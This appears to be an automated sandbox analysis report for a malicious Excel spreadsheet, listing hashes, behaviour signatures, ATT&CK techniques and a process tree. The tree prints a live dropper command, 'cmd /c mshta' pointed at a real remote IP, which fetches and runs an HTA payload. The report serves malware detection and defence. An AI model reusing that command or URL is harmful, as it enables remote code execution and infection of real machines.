3ba39a5fb0b54c012f18ece56d3765831922f5c9139c0a659d52e707faad9508

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 20:34

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General

Target

3ba39a5fb0b54c012f18ece56d3765831922f5c9139c0a659d52e707faad9508.xls
Size

104KB
MD5

70336164a67f29ee4da72241f15f89b4
SHA1

b7f86f715285aeb6fe9df6398ed5fd0d2003bfa8
SHA256

3ba39a5fb0b54c012f18ece56d3765831922f5c9139c0a659d52e707faad9508
SHA512

525ebbd54c584eb4cf003e814d03a7308340e59f6f79d29f6c460a0f13f65f8af8e4b28586163b62dd8595220a7091d7cf9a5069772e5d628cbae565216c29e9
SSDEEP

3072:CGk3hbdlylKsgqopeJBWhZFGkE+cL2NdAydb4oifHMVhoSc2vUz3UWDG:Hk3hbdlylKsgqopeJBWhZFVE+W2NdAyu

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/qw/as/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2104	2292	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow pid process

4 2088 mshta.exe
5 2088 mshta.exe

flow	pid	process
4	2088	mshta.exe
5	2088	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

EXCEL.EXEcmd.exemshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2292 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

2292 EXCEL.EXE
2292 EXCEL.EXE
2292 EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
2292	EXCEL.EXE

pid	process
2292	EXCEL.EXE
2292	EXCEL.EXE
2292	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 2292 wrote to memory of 2104	2292	EXCEL.EXE	cmd.exe
PID 2292 wrote to memory of 2104	2292	EXCEL.EXE	cmd.exe
PID 2292 wrote to memory of 2104	2292	EXCEL.EXE	cmd.exe
PID 2292 wrote to memory of 2104	2292	EXCEL.EXE	cmd.exe
PID 2104 wrote to memory of 2088	2104	cmd.exe	mshta.exe
PID 2104 wrote to memory of 2088	2104	cmd.exe	mshta.exe
PID 2104 wrote to memory of 2088	2104	cmd.exe	mshta.exe
PID 2104 wrote to memory of 2088	2104	cmd.exe	mshta.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\3ba39a5fb0b54c012f18ece56d3765831922f5c9139c0a659d52e707faad9508.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Windows\SysWOW64\cmd.exe
  cmd /c mshta http://91.240.118.168/qw/as/se.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://91.240.118.168/qw/as/se.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2292-1-0x00000000724BD000-0x00000000724C8000-memory.dmp

Filesize
44KB

Download
memory/2292-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2292-2-0x00000000724BD000-0x00000000724C8000-memory.dmp

Filesize
44KB

Download